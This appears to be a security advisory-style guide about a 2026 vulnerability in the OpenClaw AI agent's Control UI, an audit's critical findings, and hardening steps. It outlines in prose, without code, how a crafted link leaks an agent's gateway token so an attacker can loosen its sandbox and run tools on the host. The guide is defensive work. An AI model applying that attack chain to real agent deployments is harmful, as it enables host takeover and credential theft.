OpenClaw security crisis 2026: what you need to know

TL;DR

OpenClaw, the open-source AI agent with the lobster mascot, spread fast: on 9 February 2026 The Register reported more than 135,000 OpenClaw instances reachable from the internet, by the count of SecurityScorecard's STRIKE team. A few days earlier, CVE-2026-25253 had shown that any website you visited could take over your gateway through one crafted link. In mid-February its creator, Peter Steinberger, announced he was joining OpenAI and that the project would move to a foundation.

If you ran OpenClaw on a public IP at any point in early 2026, assume you were scanned.

What CVE-2026-25253 actually does

Per the NVD record and the vendor advisory GHSA-g8p2-7wf7-98mq (CVSS 3.1: 8.8, high), OpenClaw releases up to 2026.1.28, then still shipped as Clawdbot / Moltbot, had a Control UI that trusted a gatewayUrl value from the query string and connected to it automatically, sending the stored gateway token.

The attack:

1. You are signed in to your OpenClaw Control UI.
2. You click a crafted link, or a page you visit redirects you to one.
3. The UI connects to the attacker's gateway URL and sends your token.
4. The attacker connects to your real gateway with that token, loosens the sandbox and tool policies, and invokes tools.

That is one-click code execution on the gateway host. Binding the gateway to loopback does not save you, because your own browser makes the outbound connection. Release 2026.1.29 fixed it by asking the user to confirm a new gateway URL.

Correction, October 2026: this section used to describe a missing WebSocket Origin check fixed in 2026.2.10. That was wrong; the text now follows NVD and the vendor advisory.

Why it landed so hard

• Tools run on the host. OpenClaw's sandbox is off by default: the main session's tools run with your user's permissions until you configure one (sandboxing docs).
• The token was the whole boundary. Whoever held the gateway token could change the sandbox and tool policies themselves, which is what turned a leaked token into code execution (the advisory above).
• Many gateways faced the internet. On a host install the gateway binds to loopback, but container images listen on other addresses by default (gateway security), and STRIKE's count shows how many ended up reachable.

What the January audit listed

On 25 January 2026 the Argus Security Platform posted an automated audit of the repository on the project's issue tracker: 512 findings, 8 rated critical. They come from scanners (Semgrep, Trivy, Gitleaks, TruffleHog) and an AI review, so they are leads, not confirmed vulnerabilities. The eight it rated critical:

• OAuth access and refresh tokens stored in plaintext JSON files;
• OAuth state checked too loosely, leaving room for CSRF;
• an OAuth client secret hard-coded in the source, base64-encoded;
• a skipVerification path around webhook signature checks;
• a race condition when tokens are refreshed through file locks;
• path traversal in how agent directories are resolved from input;
• credential files loaded without checking their permissions;
• a fallback to stale tokens on disk when a refresh fails.

The findings that became CVEs, with their fixed versions, are on the OpenClaw CVE page.

What to do right now

If you're running OpenClaw:

1. Update, then switch on the sandbox. Run a current release and check it against the OpenClaw CVE page. The sandbox is still off by default: tools run on the host for the main session until you configure one (README, sandboxing docs, read on 18 October 2026; until then this step said the 2026.4 line sandboxes by default).
2. Keep the gateway off the public internet. Leave it on loopback and reach it through Tailscale or an SSH tunnel; if it must listen elsewhere, put authentication in front of it and run openclaw security audit.
3. Rotate what an exposed gateway held. If your gateway was reachable from the internet, or you ran a release before 2026.1.29, rotate its token and the API keys the agent stored.
4. Review your shell history. If you ran an agent that browsed the web, look for any commands you don't recognize. They might not be yours.

If you don't have to run OpenClaw specifically, this is a reasonable moment to look at alternatives. NanoClaw runs each agent in its own container (README). Hermes Agent runs commands on the host by default but sends dangerous ones through approvals, and its Docker and cloud sandboxes are one setting away (security docs); until October 2026 this paragraph said Hermes runs in Docker by default, which it never did. ZeroClaw auto-detects an OS sandbox (security model). All three were read on 18 October 2026. We compare them in the next guide.

Why this matters for the wider self-hosted AI space

OpenClaw's story is the story of every weekend project that became infrastructure: the threat model lagged the install base. The fix is not to abandon self-hosted agents. It is to treat them like any other long-running process with shell access: no network exposure by default, tools in a sandbox, credentials rotated, updates applied or the service stopped.

Correction, 27 October 2026: this guide used to say OpenClaw was on 135,000 machines, that a late-January scan found about 1,000 public installs without authentication, that the dashboard ran on port 8765 and that 13 patch releases shipped in March 2026, and it listed audit findings the audit does not contain. The 135,000 is The Register's count of exposed instances; the audit's critical findings are now quoted from the issue itself.